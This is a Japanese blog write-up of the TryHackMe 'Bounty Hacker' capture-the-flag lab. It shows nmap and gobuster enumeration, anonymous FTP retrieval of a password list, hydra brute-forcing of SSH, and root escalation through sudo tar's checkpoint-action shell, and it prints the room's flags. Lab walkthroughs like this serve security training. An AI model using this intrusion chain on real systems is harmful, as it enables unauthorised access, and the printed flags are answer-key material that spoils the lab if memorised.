[TryHackMe] Bounty Hacker #Writeup

# はじめに
備忘録です。

# Deploy the machine.
起動した。
# Find open ports on the machine
まずはnmapでポートスキャン。

```
nmap 10.10.103.67

Starting Nmap 7.60 ( https://nmap.org ) at 2024-07-12 08:37 BST
Nmap scan report for ip-10-10-103-67.eu-west-1.compute.internal (10.10.103.67)
Host is up (0.00042s latency).
Not shown: 967 filtered ports, 30 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:35:DC:F5:2C:13 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 27.25 seconds
```


# Who wrote the task list? 
httpが開いているのは確認できたのでブラウザで確認してみる。
なんか書いてあった。

>Spike:"..Oh look you're finally up. It's about time, 3 more minutes and you were going out with the garbage."
>
>Jet:"Now you told Spike here you can hack any computer in the system. We'd let Ed do it but we need her working on something else and you were getting real bold in that bar back there. Now take a look around and see if you can get that root the system and don't ask any questions you know you don't need the answer to, if you're lucky I'll even make you some bell peppers and beef."
>
>Ed:"I'm Ed. You should have access to the device they are talking about on your computer. Edward and Ein will be on the main deck if you need us!"
>
>Faye:"..hmph.."

うーんヒントなのかな。
よくわからんかったので、gobusterで隠れディレクトリがないか調べてみる。

```
$ gobuster dir -u http://10.10.103.67 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.103.67
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2024/07/12 08:59:57 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/images (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2024/07/12 08:59:57 Finished
===============================================================
```

めぼしいものがなかった。
ヒントを見てみるとFTPに何かあるらしい。
FTPで接続するとanonymousで接続できる。

```
ftp 10.10.103.67
Connected to 10.10.103.67.
220 (vsFTPd 3.0.3)
Name (10.10.103.67:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```
task.txt があった。

```
ftp> ls -l
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
```
-lオプションで所有者を確認しようと思ったら、
anonymousユーザーだから効かないのか

とりあえず、ダウンロードして中身を確認してみる。

```
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
226 Transfer complete.
418 bytes received in 0.04 secs (10.4606 kB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.00 secs (99.8590 kB/s)
ftp> quit
221 Goodbye.
root@ip-10-10-11-186:~# cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```
書いてた～

:::note
lin
:::

# What service can you bruteforce with the text file found?
この text file は rocks.txt のことかな。

```
$ cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```
sshをブルートフォースやろなぁ

:::note
ssh
:::

# What is the users password? 

ユーザー名をlin
パスワードリストをrocks.txtで指定してhydraでブルートフォース攻撃する。

```
hydra -l lin -P locks.txt 10.10.103.67 ssh
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2024-07-12 10:06:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.103.67:22/
[22][ssh] host: 10.10.103.67   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2024-07-12 10:06:36
```
:::note
RedDr4gonSynd1cat3
:::

# user.txt
sshで侵入

```
ssh lin@10.10.65.167
The authenticity of host '10.10.65.167 (10.10.65.167)' can't be established.
ECDSA key fingerprint is SHA256:fzjl1gnXyEZI9px29GF/tJr+u8o9i88XXfjggSbAgbE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.65.167' (ECDSA) to the list of known hosts.
lin@10.10.65.167's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$ cat user.txt
THM{CR1M3_SyNd1C4T3}
```
:::note
THM{CR1M3_SyNd1C4T3}
:::


# root.txt
権限昇格を狙います。

```
$ sudo -l
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
```
tarでコマンドを実行できるみたいなので、[GTFOBins](https://gtfobins.github.io/gtfobins/tar/)でtarのsudoコマンドを検索する。


```
lin@bountyhacker:/$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
# ls
bin   cdrom  etc   initrd.img	   lib	  lost+found  mnt  proc  run   snap  sys  usr  vmlinuz
boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  srv   tmp  var  vmlinuz.old
# cd root
# ls
root.txt
# cat root.txt
THM{80UN7Y_h4cK3r}
```

よーし！

:::note
THM{80UN7Y_h4cK3r}
:::